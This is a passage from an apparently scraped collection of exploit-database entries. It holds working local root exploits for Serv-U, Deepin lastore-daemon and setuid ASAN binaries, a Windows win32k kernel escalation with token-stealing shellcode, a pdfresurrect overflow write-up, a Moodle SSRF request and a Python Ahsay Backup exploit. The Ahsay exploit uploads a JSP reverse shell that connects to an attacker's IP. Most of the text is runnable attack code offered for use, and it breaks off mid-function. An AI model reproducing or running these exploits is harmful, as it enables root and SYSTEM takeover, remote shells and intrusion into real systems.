"hosted" gui.exitOnCLIHLT = "FALSE" powerType.powerOff = "soft" powerType.powerOn = "soft" powerType.suspend = "soft" powerType.reset = "soft" floppy0.present = "FALSE" monitor_control.disable_longmode = 1 EOL echo "[*] Disabling VMware hint popups" if [ ! -d "$HOME/.vmware" ]; then mkdir "$HOME/.vmware" fi if [ -f "$HOME/.vmware/preferences" ]; then if grep -qi "hints.hideall" "$HOME/.vmware/preferences"; then sed -i 's/hints\.hideAll\s*=\s*"FALSE"/hints.hideAll = "TRUE"/i' "$HOME/.vmware/preferences" else echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences" fi else echo '.encoding = "UTF8"' > "$HOME/.vmware/preferences" echo 'pref.vmplayer.firstRunDismissedVersion = "999"' >> "$HOME/.vmware/preferences" echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences" fi echo "[*] Launching VMware Player..." $VM_PLAYER "$VM_DIR/$RAND_STR.vmx" echo "[*] Removing $HOME/.asoundrc" rm "$HOME/.asoundrc" echo "[!] Remove $VM_DIR when you're done" rmdir "$VM_DIR" ################################################################################ # EOF
  8. #!/bin/bash # SUroot - Local root exploit for Serv-U FTP Server versions prior to 15.1.7 (CVE-2019-12181) # Bash variant of Guy Levin's Serv-U FTP Server exploit: # - https://github.com/guywhataguy/CVE-2019-12181 # --- # user@debian-9-6-0-x64-xfce:~/Desktop$ ./SUroot # [*] Launching Serv-U ... # sh: 1: : Permission denied # [+] Success: # -rwsr-xr-x 1 root root 117208 Jun 28 23:21 /tmp/sh # [*] Launching root shell: /tmp/sh # sh-4.4# id # uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),117(scanner) # --- # <[email protected]> # https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181 if ! test -u "/usr/local/Serv-U/Serv-U"; then echo '[-] /usr/local/Serv-U/Serv-U is not setuid root' exit 1 fi echo "[*] Launching Serv-U ..." /bin/bash -c 'exec -a "\";cp /bin/bash /tmp/sh; chown root /tmp/sh; chmod u+sx /tmp/sh;\"" /usr/local/Serv-U/Serv-U -prepareinstallation' if ! test -u "/tmp/sh"; then echo '[-] Failed' /bin/rm "/tmp/sh" exit 1 fi echo '[+] Success:' /bin/ls -la /tmp/sh echo "[*] Launching root shell: /tmp/sh" /tmp/sh -p
  9. #!/bin/bash # Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit # # The lastore-daemon D-Bus configuration on Deepin Linux 15.5 permits any user # in the sudo group to install arbitrary packages without providing a password, # resulting in code execution as root. By default, the first user created on # the system is a member of the sudo group. # ~ bcoles # # Based on exploit by King's Way: https://www.exploit-db.com/exploits/39433/ # echo Deepin Linux 15.5 lastore-daemon D-Bus Local Root Exploit echo Building package... BASE="/tmp/" UUID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 32 | head -n 1) mkdir "${BASE}${UUID}" && mkdir "${BASE}${UUID}/DEBIAN" echo -e "Package: ${UUID}\nVersion: 0.1\nMaintainer: ${UUID}\nArchitecture: all\nDescription: ${UUID}" > ${BASE}${UUID}/DEBIAN/control echo -e "#!/bin/sh\ncp /bin/sh ${BASE}/rootsh\nchmod 04755 ${BASE}/rootsh\n" > ${BASE}${UUID}/DEBIAN/postinst chmod +x ${BASE}${UUID}/DEBIAN/postinst dpkg-deb --build "${BASE}${UUID}" echo Installing package... dbus-send --system --dest=com.deepin.lastore --type=method_call --print-reply /com/deepin/lastore com.deepin.lastore.Manager.InstallPackage string:"${UUID}" string:"${BASE}${UUID}.deb" sleep 10 echo Removing package... dbus-send --system --dest=com.deepin.lastore --type=method_call --print-reply /com/deepin/lastore com.deepin.lastore.Manager.RemovePackage string:" " string:"${UUID}" rm -rf "${BASE}${UUID}" "${BASE}${UUID}.deb" if [ -f /tmp/rootsh ] then echo "Success! Found root shell: /tmp/rootsh" /tmp/rootsh else echo "Exploit failed! Check /var/log/lastore/daemon.log" fi
  10. #!/bin/bash # unsanitary.sh - ASAN/SUID Local Root Exploit # Exploits er, unsanitized env var passing in ASAN # which leads to file clobbering as root when executing # setuid root binaries compiled with ASAN. # Uses an overwrite of /etc/ld.so.preload to get root on # a vulnerable system. Supply your own target binary to # use for exploitation. # Implements the bug found here: http://seclists.org/oss-sec/2016/q1/363 # Video of Exploitation: https://www.youtube.com/watch?v=jhSIm3auQMk # Released under the Snitches Get Stitches Public Licence. # Gr33tz to everyone in #lizardhq and elsewhere <3 # ~infodox (18/02/2016) # FREE LAURI LOVE! # --- # Original exploit: https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e # Updated by <[email protected]> # - fixed some issues with reliability # - replaced symlink spraying python code with C implementation # https://github.com/bcoles/local-exploits/tree/master/asan-suid-root # --- # user@linux-mint-19-2:~/Desktop$ file /usr/bin/a.out # /usr/bin/a.out: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f9f85a5b58074eacd5b01eae970320ed22984932, stripped # # user@linux-mint-19-2:~/Desktop$ ldd /usr/bin/a.out | grep libasan # libasan.so.4 => /usr/lib/x86_64-linux-gnu/libasan.so.4 (0x00007f028d427000) # # user@linux-mint-19-2:~/Desktop$ objdump -x /usr/bin/a.out | grep libasan # NEEDED libasan.so.4 # # user@linux-mint-19-2:~/Desktop$ ASAN_OPTIONS=help=1 /usr/bin/a.out 2>&1 | grep 'flags for AddressSanitizer' # Available flags for AddressSanitizer: # # user@linux-mint-19-2:~/Desktop$ ./unsanitary.sh /usr/bin/a.out # Unsanitary - ASAN/SUID Local Root Exploit ~infodox (2016) # [+] /usr/bin/a.out was compiled with libasan # [.] Compiling /tmp/.libhax.c ... # [.] Compiling /tmp/.rootshell.c ... # [.] Compiling /tmp/.spray.c ... # [.] Spraying /home/user/Desktop with symlinks ... # [.] Adding /tmp/.libhax.so to /etc/ld.so.preload ... # ./unsanitary.sh: line 135: 30663 Aborted (core dumped) ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "${target}" > /dev/null 2>&1 # [.] Cleaning up... # [+] Success: # -rwsr-xr-x 1 root root 8384 Jan 12 14:21 /tmp/.rootshell # [.] Launching root shell: /tmp/.rootshell # root@linux-mint-19-2:~/Desktop# id # uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),128(sambashare),1000(user) # root@linux-mint-19-2:~/Desktop# # --- rootshell="/tmp/.rootshell" lib="/tmp/.libhax" spray="/tmp/.spray" target="${1}" log_prefix="$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 12 | head -n 1)___" spray_size=100 command_exists() { command -v "${1}" >/dev/null 2>/dev/null } echo "Unsanitary - ASAN/SUID Local Root Exploit ~infodox (2016)" if [[ $# -eq 0 ]] ; then echo "use: $0 /full/path/to/targetbin" echo "where targetbin is setuid root and compiled w/ ASAN" exit 0 fi if ! command_exists gcc; then echo '[-] gcc is not installed' exit 1 fi if ! test -w .; then echo '[-] working directory is not writable' exit 1 fi if ! test -u "${target}"; then echo "[-] ${target} is not setuid" exit 1 fi if [[ $(/usr/bin/ldd "${target}") =~ "libasan.so" ]]; then echo "[+] ${target} was compiled with libasan" else echo "[!] Warning: ${target} appears to have been compiled without libasan" fi echo "[.] Compiling ${lib}.c ..." cat << EOF > "${lib}.c" #include <stdlib.h> #include <stdio.h> #include <sys/stat.h> #include <unistd.h> void init(void) __attribute__((constructor)); void __attribute__((constructor)) init() { if (setuid(0) || setgid(0)) _exit(1); unlink("/etc/ld.so.preload"); chown("${rootshell}", 0, 0); chmod("${rootshell}", 04755); _exit(0); } EOF if ! gcc "${lib}.c" -fPIC -shared -ldl -o "${lib}.so"; then echo "[-] Compiling ${lib}.c failed" exit 1 fi /bin/rm -f "${lib}.c" echo "[.] Compiling ${rootshell}.c ..." cat << EOF > "${rootshell}.c" #include <stdio.h> #include <sys/stat.h> #include <unistd.h> int main(void) { setuid(0); setgid(0); execl("/bin/bash", "bash", NULL); } EOF if ! gcc "${rootshell}.c" -o "${rootshell}"; then echo "[-] Compiling ${rootshell}.c failed" exit 1 fi /bin/rm -f "${rootshell}.c" echo "[.] Compiling ${spray}.c ..." cat << EOF > "${spray}.c" #include <stdio.h> #include <sys/stat.h> #include <unistd.h> int main(void) { pid_t pid = getpid(); char buf[64]; for (int i=0; i<=${spray_size}; i++) { snprintf(buf, sizeof(buf), "${log_prefix}.%ld", (long)pid+i); symlink("/etc/ld.so.preload", buf); } } EOF if ! gcc "${spray}.c" -o "${spray}"; then echo "[-] Compiling ${spray}.c failed" exit 1 fi /bin/rm -f "${spray}.c" echo "[.] Spraying $(pwd) with symlinks ..." /bin/rm $log_prefix* >/dev/null 2>&1 $spray echo "[.] Adding ${lib}.so to /etc/ld.so.preload ..." ASAN_OPTIONS="disable_coredump=1 suppressions='/${log_prefix} ${lib}.so ' log_path=./${log_prefix} verbosity=0" "${target}" >/dev/null 2>&1 ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "${target}" >/dev/null 2>&1 echo '[.] Cleaning up...' /bin/rm $log_prefix* /bin/rm -f "${spray}" /bin/rm -f "${lib}.so" if ! test -u "${rootshell}"; then echo '[-] Failed' /bin/rm "${rootshell}" exit 1 fi echo '[+] Success:' /bin/ls -la "${rootshell}" echo "[.] Launching root shell: ${rootshell}" $rootshell
  11. #include <Windows.h> #include <iostream> /* EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47176.zip */ /* PREPROCESSOR DEFINITIONS */ #define MN_SELECTITEM 0x1E5 #define MN_SELECTFIRSTVALIDITEM 0x1E7 #define MN_OPENHIERARCHY 0x01E3 #define MN_CANCELMENUS 0x1E6 #define MN_BUTTONDOWN 0x1ed #define WM_EX_TRIGGER 0x6789 #define NtCurrentProcess() (HANDLE)-1 #define NtCurrentThread() (HANDLE)-1 #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define TYPE_WINDOW 1 /* GLOBAL VARIABLES */ static BOOL hWindowHuntDestroy = FALSE; static BOOL bEnterEvent = FALSE; static BOOL success = FALSE; static HMENU hMenuList[3] = { 0 }; static HWND hWindowMain = NULL; static HWND hWindowHunt = NULL; static HWND hwndMenuList[3] = { 0 }; static PVOID MemAddr = (PVOID)1; static SIZE_T MemSize = 0x1000; static DWORD iCount = 0; static DWORD release = 0; /* Structure definition of win32k!tagWND returned by xxHMValidateHandle */ typedef struct _HEAD { HANDLE h; DWORD cLockObj; } HEAD, *PHEAD; typedef struct _THROBJHEAD { HEAD head; PVOID pti; } THROBJHEAD, *PTHROBJHEAD; typedef struct _DESKHEAD { PVOID rpdesk; PBYTE pSelf; } DESKHEAD, *PDESKHEAD; typedef struct _THRDESKHEAD { THROBJHEAD thread; DESKHEAD deskhead; } THRDESKHEAD, *PTHRDESKHEAD; /* Definition of xxHMValidateHandle */ static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL; /* Defintion of NtallocateVirtualMemory */ typedef NTSTATUS (WINAPI *pfNtAllocateVirtualMemory) ( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect ); pfNtAllocateVirtualMemory NtAllocateVirtualMemory = NULL; static VOID xxGetHMValidateHandle(VOID) { HMODULE hModule = LoadLibraryA("USER32.DLL"); PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu"); PBYTE Address = NULL; for (INT i = 0; i < 0x30; i++) { if (*(WORD *)(i + pfnIsMenu) != 0x02B2) { continue; } i += 2; if (*(BYTE *)(i + pfnIsMenu) != 0xE8) { continue; } Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu; Address = Address + i + 5; pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address; break; } } static PVOID xxHMValidateHandleEx(HWND hwnd) { return pfnHMValidateHandle((HANDLE)hwnd, TYPE_WINDOW); } static PVOID xxHMValidateHandle(HWND hwnd) { PVOID RetAddr = NULL; if (!pfnHMValidateHandle) { xxGetHMValidateHandle(); } if (pfnHMValidateHandle) { RetAddr = xxHMValidateHandleEx(hwnd); } return RetAddr; } static BOOL xxRegisterWindowClassW(LPCWSTR lpszClassName, INT cbWndExtra, WNDPROC pfnProc = DefWindowProcW) { WNDCLASSEXW wc = { 0 }; wc.cbSize = sizeof(WNDCLASSEXW); wc.lpfnWndProc = pfnProc; wc.cbWndExtra = cbWndExtra; wc.hInstance = GetModuleHandleA(NULL); wc.lpszMenuName = NULL; wc.lpszClassName = lpszClassName; return RegisterClassExW(&wc); } static HWND xxCreateWindowExW(LPCWSTR lpszClassName, DWORD dwExStyle, DWORD dwStyle, HINSTANCE hInstance = NULL, HWND hwndParent = NULL) { return CreateWindowExW(dwExStyle, lpszClassName, NULL, dwStyle, 0, 0, 1, 1, hwndParent, NULL, hInstance, NULL); } static LRESULT CALLBACK xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam) { tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam; if (cwp->message == WM_NCCREATE && bEnterEvent && hwndMenuList[release] && !hwndMenuList[release+1]) { printf("Sending the MN_CANCELMENUS message\n"); SendMessage(hwndMenuList[release], MN_CANCELMENUS, 0, 0); bEnterEvent = FALSE; } return CallNextHookEx(0, code, wParam, lParam); } static VOID CALLBACK xxWindowEventProc( HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime ) { UNREFERENCED_PARAMETER(hWinEventHook); UNREFERENCED_PARAMETER(event); UNREFERENCED_PARAMETER(idObject); UNREFERENCED_PARAMETER(idChild); UNREFERENCED_PARAMETER(idEventThread); UNREFERENCED_PARAMETER(dwmsEventTime); bEnterEvent = TRUE; if (iCount < ARRAYSIZE(hwndMenuList)) { hwndMenuList[iCount] = hwnd; iCount++; } SendMessageW(hwnd, MN_SELECTITEM, 0, 0); SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0); PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0); } __declspec(noinline) int Shellcode() { __asm { xor eax, eax // Set EAX to 0. mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData. // _KTHREAD is located at FS:[0x124] mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process mov ecx, eax // Copy current process _EPROCESS structure mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, 0B8h cmp[eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token mov[ecx + 0xF8], edx // Assign SYSTEM process token. } } static LRESULT WINAPI xxMainWindowProc( _In_ HWND hwnd, _In_ UINT msg, _In_ WPARAM wParam, _In_ LPARAM lParam ) { if (msg == 0x1234) { WORD um = 0; __asm { // Grab the value of the CS register and // save it into the variable UM. //int 3 mov ax, cs mov um, ax } // If UM is 0x1B, this function is executing in usermode // code and something went wrong. Therefore output a message that // the exploit didn't succeed and bail. if (um == 0x1b) { // USER MODE printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n"); ExitProcess(-1); // Bail as if this code is hit either the target isn't // vulnerable or something is wrong with the exploit. } else { success = TRUE; // Set the success flag to indicate the sprayCallback() // window procedure is running as SYSTEM. Shellcode(); // Call the Shellcode() function to perform the token stealing and // to remove the Job object on the Chrome renderer process. } } return DefWindowProcW(hwnd, msg, wParam, lParam); } int main() { /* Creating the menu */ for (int i = 0; i < 3; i++) hMenuList[i] = CreateMenu(); /* Appending the menus along with the item */ for (int i = 0; i < 3; i++) { AppendMenuA(hMenuList[i], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)hMenuList[i + 1], "item"); } AppendMenuA(hMenuList[2], MF_POPUP | MF_MOUSESELECT, (UINT_PTR)0, "item"); /* Creating a main window class */ xxRegisterWindowClassW(L"WNDCLASSMAIN", 0x000, DefWindowProc); hWindowMain = xxCreateWindowExW(L"WNDCLASSMAIN", WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST, WS_VISIBLE, GetModuleHandleA(NULL)); printf("Handle of the mainWindow : 0x%08X\n", (unsigned int)hWindowMain); ShowWindow(hWindowMain, SW_SHOWNOACTIVATE); /* Creating the hunt window class */ xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x000, xxMainWindowProc); hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT", WS_EX_LEFT, WS_OVERLAPPEDWINDOW, GetModuleHandleA(NULL)); printf("Handle of the huntWindow : 0x%08X\n", (unsigned int)hWindowHunt); /* Hooking the WH_CALLWNDPROC function */ SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId()); /* Hooking the trackpopupmenuEx WINAPI call */ HWINEVENTHOOK hEventHook = SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, GetModuleHandleA(NULL), xxWindowEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0); /* Setting the root popup menu to null */ printf("Setting the root popup menu to null\n"); release = 0; TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL); /* Allocating the memory at NULL page */ *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"), "NtAllocateVirtualMemory"); if (NtAllocateVirtualMemory == NULL) return 1; if (!NT_SUCCESS(NtAllocateVirtualMemory(NtCurrentProcess(), &MemAddr, 0, &MemSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) || MemAddr != NULL) { std::cout << "[-]Memory alloc failed!" << std::endl; return 1; } ZeroMemory(MemAddr, MemSize); /* Getting the tagWND of the hWindowHunt */ PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt); printf("Address of the win32k!tagWND of hWindowHunt : 0x%08X\n", (unsigned int)head->deskhead.pSelf); /* Creating a fake POPUPMENU structure */ DWORD dwPopupFake[0x100] = { 0 }; dwPopupFake[0x0] = (DWORD)0x1; //->flags dwPopupFake[0x1] = (DWORD)0x1; //->spwndNotify dwPopupFake[0x2] = (DWORD)0x1; //->spwndPopupMenu dwPopupFake[0x3] = (DWORD)0x1; //->spwndNextPopup dwPopupFake[0x4] = (DWORD)0x1; //->spwndPrevPopup dwPopupFake[0x5] = (DWORD)0x1; //->spmenu dwPopupFake[0x6] = (DWORD)0x1; //->spmenuAlternate dwPopupFake[0x7] = (ULONG)head->deskhead.pSelf + 0x12; //->spwndActivePopup dwPopupFake[0x8] = (DWORD)0x1; //->ppopupmenuRoot dwPopupFake[0x9] = (DWORD)0x1; //->ppmDelayedFree dwPopupFake[0xA] = (DWORD)0x1; //->posSelectedItem dwPopupFake[0xB] = (DWORD)0x1; //->posDropped dwPopupFake[0xC] = (DWORD)0; /* Copying it to the NULL page */ RtlCopyMemory(MemAddr, dwPopupFake, 0x1000); /* Allowing to access the NULL page mapped values */ release = 1; hwndMenuList[2] = NULL; TrackPopupMenuEx(hMenuList[1], 0, 0, 0, hWindowMain, NULL); /* Freeing the allocated NULL memory */ VirtualFree(MemAddr, 0x1000, 0); SendMessageW(hWindowHunt, 0x1234, (WPARAM)hwndMenuList[0], 0x11); if (success) { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; printf("Getting the shell now...\n"); BOOL bRet = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); if (bRet) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } } DestroyWindow(hWindowMain); MSG msg = { 0 }; while (GetMessageW(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessageW(&msg); } return 0; }
  12. # Exploit Title: pdfresurrect 0.15 Buffer Overflow # Date: 2019-07-26 # Exploit Author: j0lama # Vendor Homepage: https://github.com/enferex/pdfresurrect # Software Link: https://github.com/enferex/pdfresurrect # Version: 0.15 # Tested on: Ubuntu 18.04 # CVE : CVE-2019-14267 Description =========== PDFResurrect 0.15 has a buffer overflow via a crafted PDF file because data associated with startxref and %%EOF is mishandled. Additional Information ====================== There is a buffer overflow in pdfresurrect 0.14 caused by a malicious crafted pdf file. In function pdf_load_xrefs at pdf.c file, it counts how many times the strings '%%EOF' appear in the pdf file. Then for each xref the code starts to rewind incrementing the pos_count variable until found a 'f' character (the last character of the 'startxref' string). Then these bytes between the 'f' and '%%EOF' will be read with the 'fread' function and copied to a 256 char buffer. The 'pos_count' variable tells 'freads' how many bytes has to copy. If malicious user crafted a pdf file with more that 256 bytes between '%%EOF' and the immediately previous 'f' then a buffer overflow will occur overwriting everything after the 'buf' buffer. In the code: int pdf_load_xrefs(FILE *fp, pdf_t *pdf) { int i, ver, is_linear; long pos, pos_count; char x, *c, buf[256]; c = NULL; /* Count number of xrefs */ pdf->n_xrefs = 0; fseek(fp, 0, SEEK_SET); while (get_next_eof(fp) >= 0) ++pdf->n_xrefs; if (!pdf->n_xrefs) return 0; /* Load in the start/end positions */ fseek(fp, 0, SEEK_SET); pdf->xrefs = calloc(1, sizeof(xref_t) * pdf->n_xrefs); ver = 1; for (i=0; i<pdf->n_xrefs; i++) { /* Seek to %%EOF */ if ((pos = get_next_eof(fp)) < 0) break; /* Set and increment the version */ pdf->xrefs[i].version = ver++; /* Rewind until we find end of "startxref" */ pos_count = 0; while (SAFE_F(fp, ((x = fgetc(fp)) != 'f'))) <== The loop will continue incrementing pos_count until find a 'f' char fseek(fp, pos - (++pos_count), SEEK_SET); /* Suck in end of "startxref" to start of %%EOF */ memset(buf, 0, sizeof(buf)); SAFE_E(fread(buf, 1, pos_count, fp), pos_count, <== If pos_count > 256 then a buffer overflow occur "Failed to read startxref.\n"); c = buf; while (*c == ' ' || *c == '\n' || *c == '\r') ++c; /* xref start position */ pdf->xrefs[i].start = atol(c); This is a crafted PDF that produces a buffer overflow: http://www.mediafire.com/file/3540cyrl7o8p1rq/example_error.pdf/file https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47178.zip
  13. # Exploit Title: Server Side Request Forgery in Moodle Filepicker # Google Dork: / # Date: 2019-07-25 # Exploit Author: Fabian Mosch & Nick Theisinger (r-tec IT Security GmbH) # Vendor Homepage: https://moodle.org/ # Software Link: https://github.com/moodle/moodle # Version: Moodle Versions 3.4, 3.3, 3.3.3, 3.2 to 3.2.6, 3.1 to 3.1.9 and 3.5.2 # Tested on: Moodle Version 3.5.2 # CVE : CVE-2018-1042 We found a SSRF vulnerability for Moodle version 3.5.2. An authenticated attacker can scan the internal network and exploit internal web services with blind injections. Probably we are dealing with CVE-2018-1042 mentioned here: https://moodle.org/mod/forum/discuss.php?d=364381 In version 3.5.2 we were not able to view all internal web server content, only pictures (PNG, GIF, SVN and so on) were displayed as a JSON-list. But it is possible to do internal port scans via http:// and https:// protocols. Open ports with no response for HTTP requests resulted in a timeout, SSL services like OpenSSH gave an SSL Error. For web applications the HTTP headers can be found in the response (403 forbidden, 404 not Found and so on). Found web applications can be attacked via HTTP GET requests. The vulnerable script is "repository_ajax.php" and the parameter is "file". Example exploitation request: POST /repository/repository_ajax.php?action=signin HTTP/1.1 Host: VulnerableMoodleHost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://VulnerableMoodleHost/user/files.php X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 165 Connection: close Cookie: MoodleSession=xxxxx; file=InternalURL?parameter=XXEInjection&repo_id=5&p=&page=&env=filemanager&sesskey=xxxxxxxxxx
  14. # Exploit Title: Ahsay Backup 8.1.1.50 - Insecure File Upload and Code Execution (Authenticated) # Date: 26-6-2019 # Exploit Author: Wietse Boonstra # Vendor Homepage: https://ahsay.com # Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe # Version: 7.x < 8.1.1.50 # Tested on: Windows / Linux # CVE : CVE-2019-10267 # Session cookies are reflected in the JavaScript url: #!/usr/bin/env python3 import urllib3 import argparse import base64 import re import socket from urllib.parse import urlencode import gzip import json import hashlib urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def b64(s): try: return base64.b64encode(bytes(s, 'utf-8')).decode('utf-8') except: return base64.b64encode(bytes("", 'utf-8')).decode('utf-8') def md5Sum(buf): hasher = hashlib.md5() hasher.update(buf) a = hasher.hexdigest() return a class Exploit(): def __init__(self, url, username="", password="", proxy="" ): self.url = url self.username = username self.password = password self.accountValid = None if proxy: self.http = urllib3.ProxyManager(proxy) else: self.http = urllib3.PoolManager() def fileActions(self, path="../../../../../../", action='list', recurse=False): """ actions: download, list, delete, (upload different function use self.upload) """ try: if not self.checkAccount(self.username,self.password): return False if recurse: recurse = "true" else: recurse = "false" headers={ 'X-RSW-Request-1': '{}'.format(b64(self.password)), 'X-RSW-Request-0': '{}'.format(b64(self.username)) } # http = urllib3.ProxyManager("https://localhost:8080") path = { 'X-RSW-custom-encode-path':'{}'.format(path), 'recursive':'{}'.format(recurse) } path = urlencode(path) if action == "delete": r = self.http.request('DELETE', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers) else: r = self.http.request('GET', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers) if (r.status == 200): if (action == 'list'): result = json.loads(gzip.decompress(r.data)) dash = '-' * 50 print(dash) print('{:<11}{:<16}{:<20}'.format("Type", "Size","Name")) print(dash) for item in result["children"]: print('{:<11}{:<16}{:<20}'.format(item['fsoType'], item['size'],item['name'])) print(dash) else: if action == "delete": print ("File has been deleted") else: return (r.data.decode('utf-8')) else: print ("Something went wrong!") print (r.data) print (r.status) except Exception as e: print (e) pass def exploit(self, ip, port, uploadPath="../../webapps/cbs/help/en/", reverseShellFileName="test.jsp" ): """ This function will setup the jsp reverse shell """ if not self.checkAccount(self.username, self.password): return False reverseShell = '''<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread {{ InputStream az; OutputStream jk; StreamConnector( InputStream az, OutputStream jk ) {{ this.az = az; this.jk = jk; }} public void run() {{ BufferedReader vo = null; BufferedWriter ijb = null; try {{ vo = new BufferedReader( new InputStreamReader( this.az ) ); ijb = new BufferedWriter( new OutputStreamWriter( this.jk ) ); char buffer[] = new char[8192]; int length; while( ( length = vo.read( buffer, 0, buffer.length ) ) > 0 ) {{ ijb.write( buffer, 0, length ); ijb.flush(); }} }} catch( Exception e ){{}} try {{ if( vo != null ) vo.close(); if( ijb != null ) ijb.close(); }} catch( Exception e ){{}} }} }} try {{ String ShellPath; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {{ ShellPath = new String("/bin/sh"); }} else {{ ShellPath = new String("cmd.exe"); }} Socket socket = new Socket( "{0}", {1} ); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); }} catch( Exception e ) {{}} %>'''.format(str(ip), str(port)) try: if (uploadPath == "../../webapps/cbs/help/en/"): callUrl = "{}/{}{}".format(self.url,re.sub("^../../webapps/",'',uploadPath),reverseShellFileName) exploitUrl = "{}{}".format(uploadPath,reverseShellFileName) print (exploitUrl) self.upload(exploitUrl, reverseShell) print ("Checking if file is uploaded.") if (md5Sum(self.fileActions(exploitUrl,'download').encode('utf-8')) == md5Sum(reverseShell.encode('utf-8'))): print ("File content is the same, upload OK!") print ("Triggering {}".format(callUrl)) # http = urllib3.ProxyManager("https://localhost:8080") r = self.http.request('GET', '{}'.format(callUrl)) if r.status == 200: print ("Done, Check your netcat listener!") return True else: return False except Exception as e: print (e) return False def upload(self, filePath, fileContent ): """ Needs a valid username and password. Needs a filepath + filename to upload to. Needs the file content. """ b64UploadPath = b64("{}".format(filePath)) try: if not self.checkAccount(self.username, self.password): return False headers={ 'X-RSW-Request-0': '{}'.format(b64(self.username)), 'X-RSW-Request-1': '{}'.format(b64(self.password)), 'X-RSW-custom-encode-path': '{}'.format(b64UploadPath) } # http = urllib3.ProxyManager("https://localhost:8080") r = self.http.request( 'PUT', '{}/obs/obm7/file/upload'.format(self.url), body=fileContent, headers=headers) if (r.status == 201): print ("File {}".format(r.reason)) else: print ("Something went wrong!") print (r.data) print (r.status) except Exception as e: print ("Something went wrong!") print (e) pass def checkAccount(self, username, password): try: headers={ 'X-RSW-custom-encode-password': '{}'.format(b64(password)), 'X-RSW-custom-encode-username': '{}'.format(b64(username)) } # http = urllib3.ProxyManager("https://localhost:8080") r = self.http.request('POST', '{}/obs/obm7/user/getUserProfile'.format(url),'',headers) if (r.data == b'CLIENT_TYPE_INCORRECT') or (r.status == 200): if self.accountValid is None: print ("Account is valid with username: '{}' and password '{}'".format(username, password)) self.accountValid = True return True elif (r.data == b'USER_NOT_EXIST'): if not self.accountValid is None: print ("Username does not exist!") self.accountValid = False return False elif (r.data == b'PASSWORD_INCORRECT'): if self.accountValid is None: print ("Password not correct but username '{}' is".format(username)) self.accountValid = False return False else: if 